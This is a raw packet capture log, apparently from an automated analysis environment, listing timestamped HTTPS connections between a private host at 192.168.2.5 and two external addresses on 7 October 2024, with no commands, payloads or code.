Oct 7, 2024 21:53:27.576523066 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.898843050 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.899408102 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.899425030 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.900074959 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.900080919 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.994405031 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.994587898 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.994662046 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.995403051 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.995403051 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.995423079 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.995431900 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.997575998 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.997602940 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.997859955 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.998079062 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.998089075 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.165527105 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.167226076 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.167238951 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.167913914 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.167917013 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.168813944 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.168839931 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.168881893 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.168905973 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.168922901 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.168934107 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.168937922 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.168982029 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.169536114 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.169548988 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.169563055 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.169569016 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.176192045 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.177280903 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.177310944 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.177649021 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.177654028 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.191241980 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.195013046 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.195029020 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.195610046 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.195612907 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.210172892 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.210922956 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.210951090 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.211440086 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.211446047 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.257412910 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.257499933 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.257595062 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.257734060 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:28.257769108 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:28.259804010 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.261667967 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.261802912 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.261851072 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.261851072 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.261863947 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.261872053 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.264465094 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.264497042 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.264559984 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.264703989 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.264722109 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.271095037 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.274717093 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.274754047 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.274831057 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.274872065 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.274872065 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.274878025 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.274883986 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.277234077 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.277262926 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.277384996 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.277517080 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.277533054 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.286787033 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.286912918 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.286988020 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.287008047 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.287030935 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.287074089 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.287208080 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.287224054 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.287234068 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.287240028 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.289465904 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.289496899 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.289581060 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.289706945 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.289733887 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.311085939 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.311327934 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.311412096 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.311671972 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.311692953 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.311702967 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.311707973 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.315226078 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.315253973 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.315347910 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.315500021 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.315526009 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.611027956 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.615253925 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.615303040 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.615576982 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.615592957 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.717339039 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.717502117 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.717699051 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.717766047 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.717766047 CEST	49937	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.717803955 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.717838049 CEST	443	49937	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.721113920 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.721182108 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.721271992 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.721432924 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.721441031 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.904798031 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.905328989 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.905381918 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.905761003 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.905776024 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.918194056 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.918555021 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.918571949 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.919111013 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.919116974 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.929745913 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.932871103 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.932897091 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.933264017 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.933273077 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998439074 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998537064 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998636007 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.998650074 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998822927 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.998879910 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998923063 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.998923063 CEST	49941	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:28.998956919 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:28.998980045 CEST	443	49941	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.002188921 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.002228022 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.002505064 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.002533913 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.002538919 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.019368887 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.019433022 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.019532919 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.019666910 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.019690990 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.019701004 CEST	49940	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.019706964 CEST	443	49940	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.022677898 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.022737980 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.022804976 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.022953033 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.022975922 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.033727884 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.034600973 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.034636974 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.034708023 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.034739017 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.034919024 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.034940958 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.034970045 CEST	49939	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.034976006 CEST	443	49939	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.038146019 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.038211107 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.038280964 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.038413048 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.038435936 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.042733908 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.047107935 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.047159910 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.048670053 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.050132990 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.050148964 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.050198078 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.050198078 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.050220013 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.050242901 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.050707102 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.050710917 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.148979902 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.149455070 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.149604082 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.150403023 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.150428057 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.150443077 CEST	49942	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.150449038 CEST	443	49942	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.153609991 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.153640985 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.153719902 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.153933048 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.153942108 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.355685949 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.356197119 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.356276035 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.356827974 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.356838942 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.455003977 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.457629919 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.457678080 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.457741022 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.457787037 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.457813025 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.457824945 CEST	49943	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.457830906 CEST	443	49943	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.461620092 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.461673975 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.461765051 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.463022947 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.463042021 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.584012985 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584042072 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584079981 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584101915 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.584115982 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584142923 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584144115 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.584187984 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.584788084 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.584798098 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.584809065 CEST	49938	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.584813118 CEST	443	49938	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.633755922 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.634588957 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.634623051 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.635025024 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.635037899 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.644085884 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.651690960 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.656375885 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.656408072 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.658184052 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.658195972 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.668735027 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.668752909 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.669389009 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.669394016 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.729599953 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.729667902 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.729943037 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.742172003 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.742196083 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.742208958 CEST	49944	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.742213964 CEST	443	49944	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.748652935 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.748970985 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.749356031 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.753933907 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.753957033 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.753988028 CEST	49946	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.753994942 CEST	443	49946	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.768898010 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.768980980 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.769072056 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.775468111 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.775523901 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.778934002 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.778987885 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.779069901 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.779175043 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.779190063 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.780303955 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.780334949 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.780407906 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.781111002 CEST	49951	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:29.781125069 CEST	443	49951	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:29.789407969 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.789527893 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.789602041 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.791351080 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.791364908 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.791374922 CEST	49945	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.791379929 CEST	443	49945	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.793756962 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.793787003 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.793848038 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.794177055 CEST	49952	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.794190884 CEST	443	49952	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.795171976 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.795542955 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.795561075 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.795945883 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.795949936 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.891344070 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.892854929 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.893548965 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.893572092 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.893677950 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.893682957 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.893697977 CEST	49947	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.894296885 CEST	443	49947	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.896295071 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.896354914 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:29.896429062 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.896568060 CEST	49953	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:29.896584988 CEST	443	49953	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.095777035 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.096457005 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.096494913 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.097007036 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.097037077 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.206871986 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.207195997 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.207277060 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.207323074 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.207349062 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.207365036 CEST	49948	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.207374096 CEST	443	49948	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.210191965 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.210238934 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.210315943 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.210454941 CEST	49954	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.210473061 CEST	443	49954	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.391030073 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.391623020 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.391652107 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.392283916 CEST	49949	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.392291069 CEST	443	49949	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.400089979 CEST	443	49950	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:30.400675058 CEST	49950	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:30.400719881 CEST	443	49950	13.107.246.64	192.168.2.5
